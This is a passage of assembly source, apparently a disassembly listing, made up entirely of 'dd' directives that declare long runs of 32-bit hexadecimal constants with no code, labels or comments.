		dd 4FE00BC0h, 4C6C8314h, 0FE6038D1h, 0B3352B00h, 0C2384D81h
		dd 25DC083Eh, 4E880552h, 1038A454h, 3A1A5F86h, 3C40192Eh
		dd 39768803h, 84428327h, 349216F0h, 93C882CAh, 95D448EEh
		dd 0E00D48ECh, 4504484Ah, 0A209D347h, 5BE8886Ch, 59B3882Ch
		dd 322054A8h, 0EC9F0849h, 0D0021596h, 59441ABBh, 48991158h
		dd 4E97B94h, 1388D404h,	98CE6402h, 39ED88Eh, 99783E5Ch
		dd 0CCD289B8h, 81307C67h, 3694A2DBh, 2AB0210Bh,	8792D023h
		dd 406B172h, 0DC651CD7h, 0EAB37328h, 94374C12h,	9E631010h
		dd 0FF062710h, 187238C9h, 0B2D2B81Ah, 821C4191h, 7002BC66h
		dd 7187A8F2h, 41101431h, 9B07F268h, 808F232Ch, 54A16A54h
		dd 1EA786F0h, 44997658h, 82F9CC0Dh, 2068C92Ch, 4D0801C7h
		dd 160C293h, 0DF02B875h, 0B5A08933h, 93D84331h,	6D305021h
		dd 3C0A85Fh, 0F676008Eh, 2958F0EBh, 930125F1h, 17E14DD6h
		dd 65EC9062h, 0D0CE0995h
		dd 1C02B377h, 3E004102h, 0A01716CCh, 2D83D6D8h,	8A25E96h
		dd 0C40F19Ch, 0EC27B55Ch, 2820A718h, 0AD57AB41h, 0E0415AD9h
		dd 7E0007D0h, 4E1EE3DFh, 42CF68Bh, 0BBD68F81h, 108938B6h
		dd 302039FEh, 46441FCEh, 51DEA201h, 5F15BEDAh, 3C40E5F1h
		dd 5C0A9370h, 0DA848860h, 2AC01819h, 62FD8142h,	0AEED00A0h
		dd 4E3C7EA3h, 58963293h, 0E8827420h, 94CB16B7h,	6573CB1h
		dd 83E20B8h, 0FF5E1C96h, 0F713EA18h, 6806FA82h,	50087FECh
		dd 0D64DC810h, 0BDC6F59h, 80F1CB3Ah, 0B8967CAAh, 264730EAh
		dd 5848AAC1h, 0CBDA9883h, 49309919h, 984ECC85h,	0C10BA5E8h
		dd 6591B86Dh, 9D6F8020h, 0B39AFAC1h, 3EFC721Dh,	0BA896887h
		dd 6B3BD87h, 29C08FCFh,	0C6B6977h, 2DA7DA60h, 14905D78h
		dd 9849B044h, 404E2E68h, 2C983D2Ch, 0B37A3AF7h,	23F42759h
		dd 0D85B0169h, 186AD68Ch, 53928863h, 0A4F2D803h, 0D0B07B4Ah
		dd 0AD2EBE4Eh, 601764B0h, 1639D5Eh, 144020C8h, 791162C5h
		dd 0FAF8E87Ch, 311601B6h, 0D5272B66h, 8A9060E1h, 0A3884A8h
		dd 0A6466725h, 801941B8h, 801637E0h, 406954Eh, 7ECAFDE8h
		dd 58183021h, 0AB768369h, 577873Dh, 92EF3F1Fh, 0D7CD5C20h
		dd 547490C4h, 12278C5Dh, 225F88AAh, 0E7222B74h,	1604C821h
		dd 0EB7B3Eh, 0F44F3BD1h, 0F11F27BAh, 62186518h,	6DDF79h
		dd 0E17A360h, 3F21EAF7h, 2A87C400h, 5E1ECF9Dh, 5C15260Fh
		dd 22640864h, 3F39D420h, 4D2B12B7h, 0E9C1D437h,	1820892Eh
		dd 27FF1C8Ah, 0CC075535h, 248E0207h, 69AC00EDh,	9E1F4A46h
		dd 4FA026BCh, 0E7000A7h, 0EA307510h, 9C49BF28h,	21825F4Bh
		dd 10A058F0h, 2754E693h, 915C1765h, 36B2804Ch, 7F0E8A84h
		dd 23E0038Eh, 4ECFCE5Eh, 363941A9h, 0BC492450h,	8418BAC2h
		dd 75282FCh, 6133E5B8h,	520583DBh, 0B4D2FD90h, 0EA8E2117h
		dd 0A1A82900h, 0F150ABh, 0CED9B5C8h, 87EDC04Ch,	8E675100h
		dd 0BA655DACh, 58F759DAh, 61221457h, 0E407DCFAh, 8FCC6F0Fh
		dd 0B2A3EB00h, 39F80140h, 4B8B1BE3h, 617C6190h,	0D488424h
		dd 0FCC3FAD4h, 96A1386Ch, 0EF54E901h, 7502B560h, 0C0B45B1Ch
		dd 42F9DDA5h, 0A014057Eh, 0C821EEBCh, 0E18BFC94h, 18757AECh
		dd 442E1C30h, 2448BA40h, 421A1198h, 864FD210h, 7FC82F0Dh
		dd 0D9049930h, 0B5181Bh, 0A8457055h, 0E49F3DC5h, 18589658h
		dd 33291036h, 9C30066h,	0A8AA994h, 6F002462h, 7303F570h
		dd 1E977FE3h, 0CE5FAE8Fh, 9A290DB4h, 7C9968E9h,	8C46B8E4h
		dd 0A878243Eh, 0AE208CE5h, 0BD5C011Fh, 0BE0AAFE7h, 88EC6C13h
		dd 207CA86Ah, 87FA483Eh, 857CE092h, 0A8E68B2Ah,	53186E18h
		dd 2195031h, 81CD23AAh,	246234D2h, 11F3C0D2h, 99BA42FDh
		dd 0ED82E000h, 0EEABD9FAh, 3DE3F801h, 9E7C9FA5h, 714AF5E0h
		dd 0B7EC0998h, 24492B01h, 0C441A9B6h, 981843D1h, 8080174Ch
		dd 0EDE3BB62h, 1EE70234h, 0FD8E2B8Bh, 0EC7824E4h, 85130501h
		dd 0CA7F783Eh, 2F958088h, 0B70EA0A8h, 136E0A65h, 0F1D11804h
		dd 66F80812h, 89D858C0h, 225246D6h, 508F0068h, 0A58ADD8h
		dd 0B012C0B8h, 0F400322Dh, 3673F6E8h, 0D78B698h, 3CEAA227h
		dd 0E6632254h, 0BC80C87Dh, 1A895C86h, 97CD3BA9h, 0E5178B05h
		dd 0A048B0EBh, 108A048Ch, 628B9E59h, 8257202Dh,	943AD110h
		dd 68B8B2DBh, 87AD2034h, 6C62A4CAh, 22D93E90h, 0C505F4Dh
		dd 1FE7E509h, 0F0D84CD1h, 0B0848A3Fh, 0F2746086h, 918723ACh
		dd 45001211h, 50E3F26Ch, 822FB416h, 0E8808A29h,	0BA043C11h
		dd 132AB0Ah, 6F30AA89h,	22659852h, 6AC29BD6h, 432ABC52h
		dd 87429CF2h, 24B07A00h, 0D77F2B7Bh, 3C54EA79h,	0E303F3FCh
		dd 0FF4846CAh, 0B75CC0FAh, 41992D7Bh, 8071A0B2h, 9A184679h
		dd 0CCF4BB01h, 8A6BC1Eh, 927C4C29h, 5E28B6B8h, 0A9022C46h
		dd 0B8E95636h, 5FAFFC0h, 5DF39804h, 0E4F5A40Dh,	54DBE2F8h
		dd 0A0D59C3Ah, 822033A4h, 6354E882h, 4007C222h,	402ACECCh
		dd 2E187228h, 0E738A07Fh, 0D8055120h, 54920030h, 20CCB43Ch
		dd 4C00A7CAh, 0D08770D1h, 925B96BBh, 64A30A0Ch,	7820684Eh
		dd 958CA4B9h, 6A919C97h, 0E8E6B680h, 27070D8Ch,	3BFB3AE2h
		dd 67C8D251h, 9017E097h, 6102E6FCh, 0E03F1C00h,	75C95AE7h
		dd 1795EE65h, 0D3AF24ECh, 0F6D3076Ch, 0A0579F88h, 0E800EF4Ch
		dd 47E38C69h, 0AD31F0DEh, 450B3C49h, 2E84BBCEh,	0B2A18068h
		dd 6BB3245Fh, 2C9739F3h, 30876491h, 0B055F022h,	2012C036h
		dd 0A004B55Eh, 0A0124116h, 244F39B4h, 0A437821h, 0B3CE315h
		dd 0E621C2D0h, 2E7DE408h, 2F3C657Eh, 892B0836h,	3172CEDh
		dd 0B1846808h, 1508E579h, 13523804h, 20321D23h,	50E9410Bh
		dd 9F43548h, 92EC0431h,	8F9D0BF3h, 0E85E0BA8h, 99F0E90h
		dd 0DABBD6FBh, 0D8C468D0h, 0C8BC2EBEh, 3A8C69ECh, 6A805587h
		dd 0F66F99F7h, 2327454Fh, 7EFC8414h, 2BB894BCh,	76E01C8Ch
		dd 1AF647D0h, 0D162543Eh, 8526E684h, 0A9219A29h, 6364C300h
		dd 1B3138Bh, 0AD4CB74Bh, 30F7AB84h, 0BA01E0C4h,	9AC5AC68h
		dd 48686E5Ch, 2DF430D6h, 8E005234h, 8E1BCB2h, 1CFB398h
		dd 73A00F7Ch, 30AB4977h, 0A154D24Ch, 0DE067ECCh, 89E74254h
		dd 3AFC3091h, 5DBD1559h, 0BC001FF0h, 7BD8526Eh,	5BB49E35h
		dd 0A72C0B0Ah, 82221494h, 0BA740F3Dh, 0F24BE2h,	0B7077F20h
		dd 8207656Dh, 0AFE80C90h, 2C09B2BEh, 68C48FDh, 19091AD1h
		dd 54C0D17Ch, 0B0B44422h, 0D052FD96h, 61C818CBh, 27505EC6h
		dd 64A45966h, 0F9935F30h, 894F0808h, 583AEC02h,	2E4EE0C1h
		dd 6C00CC34h, 5FDC1E7h,	5184B432h, 0BB701063h, 0C43F5DBAh
		dd 25DC310h, 82BEB5EEh,	0A368C342h, 0C2213050h,	0C6D895D9h
		dd 94934898h, 619978h, 0A112F42Bh, 0A4B05ABDh, 34AA8708h
		dd 23B03058h, 8980422Bh, 44E89938h, 0DBA0066h, 9736E9B6h
		dd 0BCAC022h, 929BDA00h, 0C06248D8h, 56A9030Bh,	2C412C14h
		dd 8111200Fh, 0EE7B83D5h, 8CCE9053h, 71E1346Bh,	0F2C4E280h
		dd 7CE301Bh, 0B861B901h, 95966383h, 4EE4B460h, 0B334004Ah
		dd 0B6A2FE7Fh, 60546624h, 4948D3Bh, 5072705Bh, 0AF3048F2h
		dd 173C7AC3h, 155CC5E0h, 517788DCh, 41E2E4BCh, 0C7221A7h
		dd 9330CE16h, 1FCA664h,	0B424BED2h, 93A459A6h, 3614927Ch
		dd 0B4732520h, 5987394h, 0AD2466FBh, 0CE30C057h, 0C61A5CD5h
		dd 4010039Ah, 0B933F294h, 0E0421A40h, 28F210C3h, 2C9C945Ah
		dd 38488440h, 0BAD202B0h, 0CE32F5A6h, 0D85AC86Ch, 0D73EE431h
		dd 0D274202Ah, 99805438h, 2809784Eh, 9F086B84h,	0C6BFB817h
		dd 9C7AA80Fh, 205A35A9h, 0E973C209h, 0CCCA8225h, 16F4F0DAh
		dd 0A61668ACh, 9752E024h, 23FF254Ch, 65442C67h,	6C5C8160h
		dd 0CDA1EA05h, 0B0092EF0h, 4544C297h, 1F3A9194h, 0C293BD0Dh
		dd 2323C4D2h, 80CFBC54h, 0F36A67C9h, 0D4AB7000h, 37294428h
		dd 13B8A40Ch, 0D276B8AAh, 552198E8h, 2C307F6Fh,	13DCB6BAh
		dd 813C9B65h, 0F6F1CD1h, 5E5EBCD8h, 26084415h, 0E5140243h
		dd 119C28B4h, 0D8578065h, 8C4AD688h, 78E6244h, 0A2D0D84Fh
		dd 0C3FAE264h, 9472F4C2h, 89AE2B0Fh, 0CCC0D6B2h, 4FAB02BAh
		dd 9AF00037h, 20835CEFh, 18C0909Dh, 116B60E7h, 8716E623h
		dd 51C19A71h, 0CAFD37B9h, 56180841h, 2CE68980h,	0EAD7C8FCh
		dd 0CC908E75h, 48205245h, 380D509Ah, 8C18A3Bh, 989189Fh
		dd 839E5810h, 5680C465h
		dd 48A21081h, 0D587246Ch, 288A085Ch, 0A00EB701h, 32E6ABCh
		dd 24E7ADECh, 18753900h, 59914E81h, 0DD140003h,	66EBF9A6h
		dd 8917522Bh, 98C250CAh, 89ACFB90h, 0D46749D1h,	0F0601AC4h
		dd 0DB7BEC33h, 0F66EC300h, 0F4CF5E93h, 787C0208h, 76EF043Eh
		dd 0E0CD50E1h, 8326DAB0h, 6B8154D9h, 398FEA58h,	5957D842h
		dd 0ED3030C0h, 0AF81DCFAh, 9D3FC610h, 6CA2890Ch, 242ED066h
		dd 83686503h, 7228C9FFh, 5DE31911h, 16E26C42h, 21C5230h
		dd 64B4D7A7h, 0B864FFA0h, 0CC3E6F4Ah, 84A06123h, 3F803A0Bh
		dd 0B830850Ch, 20B358C5h, 0EF3068A2h, 452A02BAh, 0F2B1DB4Fh
		dd 7B5EE040h, 5F4C0FF6h, 0D90212E4h, 9234C010h,	68235C2Eh
		dd 837E820Eh, 0C09466DDh, 2FE2382Bh, 20A435F3h,	18A08886h
		dd 3ED58309h, 7FF890D2h, 286CEC06h, 45D81AB0h, 0A8984469h
		dd 0ECD8418h, 0D810E749h, 8F00B963h, 31098479h,	627B8D5Ah
		dd 4E6C70CEh, 0B428F480h, 3A52D8BDh, 0B5322D0h,	412E8376h
		dd 0F8236813h, 0D85D016Bh, 7C7AD68Eh, 5594B020h, 4873E0D8h
		dd 27C04CD5h, 0D1E5AE68h, 0E16C2100h, 0A2D63398h, 0BDB3092Fh
		dd 0C0D9E603h, 0E408BC24h, 5099007Dh, 7570A227h, 64D11C9h
		dd 4F98FE2Ch, 846C90FCh, 653F12BCh, 97712486h, 8F0C832Fh
		dd 0D9925B5h, 12E42C65h, 6C636662h, 4C2778D7h, 0C0D213FCh
		dd 2D3CA65Dh, 3638C123h, 85CC48h, 0AC92F928h, 0B3945B1Fh
		dd 43F84A26h, 76024A26h, 74809AFDh, 0D895050Ch,	9EF4C2FCh
		dd 4F10105Ch, 4C50BF10h, 0A8393844h, 960F848Ah,	9C44CA09h
		dd 58E7CE0Fh, 80338C20h, 0A44AAA87h, 50E24813h,	3F710107h
		dd 172AD0D2h, 8D1DB805h, 0CF490ABCh, 0A240C065h, 0BAB8A8A8h
		dd 868C20Dh, 7C5E0CE1h,	0F2D6477Ch, 19717D6h, 585B8C0Ah
		dd 18083112h, 8C970B6Bh, 2634580Ah, 0B0C513C6h,	5D272284h
		dd 102CC489h, 930426E4h, 0C0A34008h, 9E5C108Dh,	0B04838F7h
		dd 1710855Ah, 439FC87h,	0E4302EE0h, 0FF22069Ch,	0C4A4A527h
		dd 84546362h, 7E800CC0h, 4ADE25BBh, 0E091B064h,	980D8905h
		dd 2580B0C8h, 42FE8Bh, 9988B453h, 0D88F8386h, 28FE8283h
		dd 4F91113Ch, 686B8C87h, 4EE7BD94h, 8EA4C418h, 0CF67C804h
		dd 3AC1A1E0h, 1013DD60h, 3467B624h, 671E5B54h, 34FC8C20h
		dd 0FA3D464Ch, 0C2ED0664h, 44986A48h, 8CB69DE7h, 0E65E25DCh
		dd 8DD2C448h, 58825900h, 99DFFA53h, 75F725B5h, 0C860A441h
		dd 0B34B4C88h, 0BC240C45h, 87ECCC55h, 61C7B910h, 840500E9h
		dd 4AB5FB4h, 5EA8EAB1h,	8EB8C29Ah, 0EC4CF06Ah, 5F1C849Dh
		dd 6922E410h, 804CE65Ch, 8D3D7D58h, 64740F62h, 0E820A8C4h
		dd 0D9BAD4D7h, 4B28708h, 148E0272h, 7136683h, 0A955D341h
		dd 28841968h, 642513CDh, 4E8B0445h, 49B298F3h, 0D5CB30h
		dd 92D953Dh, 789A8BF4h,	32E84361h, 8343BDAh, 9C751EB7h
		dd 5A65C261h, 205683E2h, 0BA166801h, 29839B0Ah,	78D0D289h
		dd 8B74D04Dh, 645AE7h, 0FCE86766h, 70238996h, 2AA8710Fh
		dd 562EC774h, 423C5252h, 5AB88939h, 0BBD60A8Ch,	268C47C6h
		dd 0B55CC1E4h, 3BE430E4h, 47F1640h, 6A0A1FDCh, 454B258h
		dd 4422BBD8h, 4B22A48Fh, 0CE49D4B0h, 83D6819Ch,	6C242F56h
		dd 46BA8840h, 7F94E8C4h, 7E0528B7h, 819DE8FFh, 9409634h
		dd 18A2C466h, 3C89230h,	0EA72737Ch, 0BB99B877h,	0DCF0AE1Eh
		dd 4B1AC468h, 97E0E619h, 0F8006837h, 0EB47A57Ah, 0CE7501D6h
		dd 934C33DFh, 46A42470h, 40DEBC2Dh, 298BD6E0h, 49D05736h
		dd 1E0364F9h, 0EDB6E813h, 60B5EC12h, 190DE000h,	0C8F5486Ch
		dd 250A52Ch, 6E6FD520h,	24742042h, 6D607F64h, 8721A5F2h
		dd 653EC059h, 22E8A6F2h, 240CA494h, 0E79EC0E1h,	0C40DA8BAh
		dd 20C007A2h, 4A40AAA0h, 9A6E3CCFh, 0AB18367Ch,	4620E0C1h
		dd 0E4A2083Bh, 0E627F4B6h, 347F5834h, 8C2ABCh, 0FFEECCE2h
		dd 4C6A0490h, 0A0B5CE7Dh, 7A3C4580h, 94F40070h,	0DC2EA3B2h
		dd 0C0827E8Eh, 0B55664ACh, 6053583Ah, 2D1670h, 30AC8338h
		dd 7EF55FD9h, 42CFA38h,	3722A062h, 45B48C8h, 0BD57E2A2h
		dd 4B7C81C7h, 20E061B8h, 6E40E864h, 0B05A4D17h,	0F9070E00h
		dd 4CC294C4h, 8E695204h, 0C8C9A2Ch, 6E541D89h, 176F9790h
		dd 407C2058h, 0C2F8A592h, 0C9BD5B02h, 7A097C79h, 27EF20C8h
		dd 0EC34CC90h, 90827869h, 4558E1CFh, 26F8E47Ch,	2F26E48Fh
		dd 0AE93D606h, 242C204Dh, 0CE40A0B5h, 310F48E5h, 0D7C02EB8h
		dd 0AC6F2AF5h, 0CBF2AC00h, 96BC9E29h, 0DE301F41h, 0AECC2D16h
		dd 8BA0C460h, 538CB217h, 8750B443h, 4E90A018h, 9D72309Eh
		dd 134B7C20h, 68A0286h,	0BE0DE16Dh, 230FDC51h, 0A289C1EEh
		dd 88325E74h, 9DC3A6Ah,	588265F7h, 68032BDFh, 5FE2C175h
		dd 10E8243Ah, 0D506E044h, 50DDE065h, 0A163E425h, 0FACC0D14h
		dd 32BC9F00h, 0B56C079Dh, 0BD005889h, 1391F897h, 9E6F2380h
		dd 21554EECh, 0C490D78Ch, 10C9033Ah, 803005ACh,	2F5A98BCh
		dd 4B2374h, 9CF2F382h, 6E16D9D5h, 34096DEEh, 548489D0h
		dd 8BD88218h, 0A064382Ah, 68C8015Bh, 195A617Eh,	0BD1BD6C5h
		dd 0DE830B30h, 0AAF8C949h, 934908D3h, 0A0044C3Eh, 9CCE656Fh
		dd 6C01788h, 0F31174h, 0F70E601Ah, 421FA3D2h, 84205891h
		dd 0C8FC950Bh, 44A81658h, 0DA2ABA76h, 3B2DF443h, 0B23821A1h
		dd 7C24FF02h, 0AE270FD7h, 6BA93288h, 4AF1FC79h,	2400FF18h
		dd 0A306EA90h, 77A0721Eh, 8C3254ECh, 0C75230F6h, 72D03E31h
		dd 0A491165Ah, 290954B0h, 0A42F5BC8h, 0B9001223h, 0D230E5FDh
		dd 7022F32Bh, 596BBD05h, 0BF448015h, 0B313E0F2h, 7810E689h
		dd 8C19E8D0h, 12476E03h, 0D2C2C7E3h, 8A14403Ch,	2043823Fh
		dd 0DF136039h, 0DB115C3Bh, 42DBF83Ah, 0CC04E43Ah, 0A819073Ah
		dd 0E68092DFh, 0AF48F4h, 9868BA5h, 14F6D08Ah, 7AD23F15h
		dd 0DCF30F80h, 0F921EBB4h, 74B7AFACh, 19360B3Dh, 40FC4F16h
		dd 7548C41h, 72F80A30h,	0D79B0D0Eh, 0C9280EC9h,	381167ACh
		dd 867C024Ch, 12928E7h,	693678A9h, 0FC44DCDFh, 8800AB64h
		dd 9694E5C7h, 24EE997h,	310D8127h, 8856835Ch, 52C49F85h
		dd 48368CB0h, 34CE6806h, 0C0180C90h, 974AF0F0h,	8CB57489h
		dd 2AF2C73Dh, 0C897A717h, 63806791h, 87954BADh,	13F6B13Ah
		dd 64E6221Ch, 49CEB1E7h, 32A70B5h, 330A6201h, 0BED89AC7h
		dd 21C4822Eh, 54483602h, 114F0054h, 6683DA89h, 4632B01h
		dd 1E82BC16h, 5E2DFC79h, 0C49E4CC0h, 4120AA31h,	5863157Ch
		dd 0E8331AE2h, 0FC471ECh, 90EBE95Ch, 0ECA30DE5h, 0C7248050h
		dd 13B27EB1h, 0B064CA55h, 47418818h, 0EDF4207Eh, 3698E4B1h
		dd 0C8EA0D00h, 90AA3455h, 9966761Fh, 184BD1C0h,	35630077h
		dd 8CE2259Fh, 0B8328BD5h, 58457AD2h, 0A4185854h, 0D498818Ch
		dd 7F107761h, 9849B34Ch, 8CCDEDEh, 9805306Ah, 2C815527h
		dd 95014E97h, 0A355C6D9h, 4B319A9Ch, 54D08C19h,	5817D04h
		dd 6878B1A6h, 4D971913h, 62B704C1h, 4CE181ADh, 2AC46109h
		dd 497A09Ch, 1B2DAAE8h,	7416AB4Dh, 0A8D26CF2h, 0DBEE1F6Ch
		dd 24A02E13h, 7666059Ch, 81C47C55h, 3F0516F4h, 90A9E852h
		dd 9BDB3861h, 688850CDh, 54607599h, 8ABED318h, 248A42Fh
		dd 62E59756h, 7B0B0A9Ch, 702265B4h, 0F1976168h,	0AFB9E517h
		dd 0A0C5D4A6h, 0DA8820CCh, 824C1959h, 54D62AF0h, 1C804D58h
		dd 0FCAAEABAh, 0E818C525h
		dd 4A90F6C0h, 9FF4D00Ah, 0BFFF06CCh, 27833B60h,	7E7C9934h
		dd 14E0D2D2h, 34D19BD8h, 4BE7CAC2h, 0D369B072h,	60247671h
		dd 0C95B574h, 30DFD537h, 97504409h, 0D0FE6C62h,	42176842h
		dd 0CC805508h, 0A419C144h, 0B2897F0Dh, 0C1A369EBh, 8C9F1450h
		dd 56A0C9h, 0D96B690h, 18A84CCEh, 0A9DA380Ch, 926451D0h
		dd 85A0D018h, 26008EE4h, 0E9B7C4C2h, 0FE5FB61h,	8B900CB8h
		dd 0AC02B569h, 6C835820h, 600F45F8h, 0A4EE2450h, 5109655Dh
		dd 0C1A8E830h, 0A9B87011h, 9EAC4588h, 0D84BC100h, 62970D9Eh
		dd 0D53E1937h, 30AC68F6h, 334C9407h, 3E48188Bh,	87B1800Ch
		dd 0DE843A58h, 3404CCD6h, 0E8541DE2h, 0AC218234h, 8C46BC44h
		dd 92D4EA0Ch, 408A58FDh, 8984E15h, 0BA295661h, 8075FB0Ah
		dd 428CCF0h, 31EABBCEh,	0D23E0363h, 64C1010Fh, 0E74351CFh
		dd 6B582461h, 51EB000h,	5D96E1C6h, 0B40A0048h, 0D62E889h
		dd 3E0255FAh, 9320058Ch, 266872DCh, 984C97FEh, 241449A4h
		dd 92E7CE01h, 4A13DA58h, 10819080h, 34825D2Fh, 0B52339C2h
		dd 0ADFCA257h, 0C098520Dh, 665F45C8h, 734D0A3Ah, 985D3E64h
		dd 47214E1Ch, 319E65E7h, 0E8E9FCh, 8D418619h, 2F87AD4Ch
		dd 0BC0028AAh, 6F5F1EBAh, 21E830E9h, 0A2CEF619h, 80BAFDC1h
		dd 0E7968108h, 0BE803380h, 0D3A9BAD8h, 0A9B01830h, 961D5B4Dh
		dd 2B9E6A1Ch, 0CD81D8C6h, 38A14C89h, 32D61964h,	0C1A08471h
		dd 0F86420AFh, 220024D8h, 0C63C1E8Ch, 0C0063533h, 8DA42991h
		dd 8B001160h, 765E7DD5h, 0B9E7A68Eh, 0AF803D84h, 0C5B4A799h
		dd 0F301E092h, 0E3B9798Dh, 0E1E1C09Bh, 40108C20h, 9A162746h
		dd 3C4B526Ch, 0FA07A36h, 0BE4ABCDh, 774FC1E0h, 2E287930h
		dd 38C47483h, 93026D80h, 0C02B23D6h, 80024238h,	19C70806h
		dd 0A37019B6h, 931A46h,	0EA22F5CEh, 0B59AD2B2h,	0CB3E0700h
		dd 0FF7F4D63h, 32AD0117h, 0F9CF1C15h, 54EA207Dh, 40C18A5Fh
		dd 781841BAh, 4C52BE28h, 33D98112h, 68C8808Bh, 49777AC0h
		dd 0B9D70076h, 2AAF57C3h, 0BB251129h, 188370Dh,	33905F49h
		dd 0F3BD823h, 0E49C2C7Eh, 51B4E142h, 28AF040h, 602A2184h
		dd 0EBD3110h, 0A4D21120h, 82BB5081h, 0B07B0030h, 0AA7D021Ch
		dd 34ABDABAh, 188914D6h, 105CC295h, 142C7EB4h, 0C87D604Eh
		dd 59FC0490h, 63B0A700h, 6DB6A385h, 964F0083h, 0BF9E7B6Ch
		dd 0CA0766Bh, 6A009D2Fh, 63C0907Ah, 80B04F41h, 613CAEA3h
		dd 66C10F89h, 8FC08F7Ah, 5FC4817Bh, 62DD9487h, 1DB2A5F0h
		dd 9F846Ah, 0C44F8870h,	970C8967h, 287D726Dh, 9B841E64h
		dd 988C40B9h, 923565BBh, 0A240BC60h, 691E7Bh, 806CAE97h
		dd 8A6DC64Fh, 0B575D07h, 1E733C1Fh, 406E535h, 3E806E75h
		dd 720071C0h, 5A6150A1h, 84311E90h, 0C098799Dh,	62713EE3h
		dd 4C18A637h, 0A85485E1h, 7E1F6A08h, 7602AF9Fh,	8D27B1A1h
		dd 88808038h, 71BF946Bh, 0BB409E7Eh, 236D036Ch,	415A3988h
		dd 69B0E80Eh, 5238B85Eh, 6272324Fh, 0A0809040h,	6A4DB892h
		dd 3B6D8300h, 8B15435h,	0BF7F3C22h, 9BB378B8h, 3AA18AE1h
		dd 65788293h, 8E61BCA1h, 203CB5A1h, 8D430179h, 6347C198h
		dd 92000A4Fh, 9CA37E76h, 1CF96953h, 679D3983h, 10BF9FCh
		dd 430AB215h, 443F4238h, 0FF7AA8h, 0D3B183DAh, 34AEB562h
		dd 0AB44B984h, 0C0AAE828h, 0C69A8B19h, 0A2B5147Fh, 2961B690h
		dd 48B2BC5Eh, 0E5141018h, 0A8A2E924h, 44A69389h, 30E42C88h
		dd 589D1900h, 0EC6209D4h, 16416065h, 9A900250h,	0C02544B9h
		dd 5A95D8CCh, 0FE78C847h, 407C2CA2h, 0F1A860B0h, 0A0289613h
		dd 0C514257Ch, 0AC943071h, 0B7586468h, 3690B924h, 0BCD1B8A1h
		dd 0F1CB08E4h, 0C0848F45h, 87CA9438h, 0D8AC7E11h, 0B2463F87h
		dd 0BE421CFAh, 1A0C61A4h, 0A036012Fh, 0E420F835h, 5C7E449Ch
		dd 80AA822Eh, 0C4C81B4Bh, 0E2444008h, 7F5C42BAh, 0C4D427D7h
		dd 0B68C425h, 357293DAh, 0C7816441h, 106F2800h,	0E2B850D2h
		dd 443FFF6Bh, 326D9C14h, 0CC9F216Ah, 0BC438BAh,	0C161C1D0h
		dd 0AFDE9A60h, 24EAEAACh, 1E4B7A0h, 0F2B49E15h,	9B2D7A98h
		dd 9898C182h, 0A89A1ECh, 0AFD2B818h, 0B228BCB0h, 910EA40h
		dd 0D632A056h, 32C5041Bh, 0D8117144h, 0B4DC2815h, 68A6FC94h
		dd 85608208h, 0C866D13Eh, 0E86ACAD0h, 0AB1B0441h, 0D8182191h
		dd 0E0C8B390h, 0D032A364h, 99111C2Ah, 48302089h, 11417338h
		dd 98D0306Fh, 683271F3h, 30BB4055h, 0C4972456h,	0EA9CA3BCh
		dd 251D0F16h, 890B5846h, 35661AD6h, 20E7059Ch, 3A0B931h
		dd 173922A9h, 0AA21034Eh, 8397027Fh, 0F90E017h,	34180404h
		dd 19AE70A0h, 4837D75Fh, 75AC530Bh, 43062820h, 984EF244h
		dd 185FAD50h, 214618D8h, 0B425B3D9h, 19105065h,	18EE4E15h
		dd 0A0D13B37h, 41892EE6h, 48E8F595h, 0B861B388h, 36B52439h
		dd 1E5D5180h, 0D66F3EEDh, 0AE8FE400h, 0D99565C1h, 323902C6h
		dd 0B324BE57h, 519DAC90h, 2431D022h, 4080D2BAh,	28392D84h
		dd 2560D490h, 0A58B14E0h, 1C34E856h, 59FEC171h,	0D080184Ch
		dd 37483972h, 0F322204h, 4A4E3E65h, 81A62D80h, 0E0B84BD5h
		dd 59537101h, 49879E64h, 404F099Eh, 2215BB7Bh, 0D713918h
		dd 4C38992Bh, 0E80C494h, 0F419FDA5h, 8D0988E0h,	0E4484EA1h
		dd 0F0C8F87Eh, 278511D9h, 9A541108h, 0B51FD422h, 3EF04265h
		dd 0D8A0F4D2h, 76049AC5h, 0EB0C69Dh, 1D2291BAh,	0F012E58Fh
		dd 0AD5187E4h, 65219EBCh, 4E22D16h, 0EA83127Ah,	40D85357h
		dd 4C8A6CACh, 0F2183902h, 5E71A136h, 86D4E95h, 0EA836080h
		dd 34FB5EEh, 30C5FFEEh,	0C10B1136h, 80F79FAAh, 1EF247EDh
		dd 3ABF19C9h, 1030401Fh, 15C75779h, 9032B424h, 10D05919h
		dd 0C1AF102Ah, 21BA0767h, 31A9A055h, 6F18D531h,	7EF7E445h
		dd 8324ECB8h, 89744274h, 9E82BCA3h, 80EF48F8h, 3FFED919h
		dd 0D6E0DB79h, 0CF0201E6h, 9389D1C1h, 20B09D35h, 163A5EC4h
		dd 20172C82h, 6E5C10BBh, 0D0FE8A74h, 380904E2h,	644EDF8Bh
		dd 61C007E8h, 0D82810h,	120A819h, 0A4825D25h, 1C935E80h
		dd 5159CE9Ah, 0EE1883Bh, 10911180h, 0F607A164h,	290C0248h
		dd 5992D476h, 0A888A812h, 86609164h, 215D83DDh,	8D266490h
		dd 0DA0A8434h, 9E020CBBh, 0A9213667h, 8F6051D0h, 1AA08DBAh
		dd 0B0444046h, 3E2018B0h, 58148C4Bh, 9128383Ah,	72832130h
		dd 0C46A2C3Eh, 6985368Ch, 3A00050h, 378789AEh, 210778D8h
		dd 5AC8FFE7h, 53673h, 5F1AFE29h, 75DDCF53h, 24F58804h
		dd 4883EB1h, 85689858h,	1B2EE128h, 0A4800E57h, 2862684Fh
		dd 21482CA0h, 0F9BC90BDh, 6842583Ah, 2000822h, 306063ADh
		dd 4810F0EDh, 14C81C06h, 8D6E5960h, 1DC02EA7h, 67E58A88h
		dd 1E924298h, 0D28F0E4h, 22210C68h, 10C33F20h, 0AD2F0C32h
		dd 1B91C417h, 0DCF7C80h, 100BFB8Dh, 9907DFEh, 8FA8542Dh
		dd 5CC05752h, 1AD23C6Dh, 5E818F0Fh, 0AE07D2A0h,	5F20AE5Bh
		dd 250DBA73h, 7C4922E7h, 7DDED0DDh, 66133900h, 6AFAA075h
		dd 409FBD6Dh, 0FC332308h, 72332321h, 9188177Fh,	67818F31h
		dd 0B6B1B56Eh, 5C30C118h, 64160BEEh, 0E0D9F7A0h, 4B186279h
		dd 0D40DC103h, 40BED925h, 0FDAA9048h, 7E386015h, 372F2EEEh
		dd 89440145h, 0FC85BBE8h, 80F2CBE3h, 0C5449538h, 478834E9h
		dd 7E4E9CB2h, 0B8B548B6h, 86F004Ah, 0BFCE201Dh,	2E904E4h
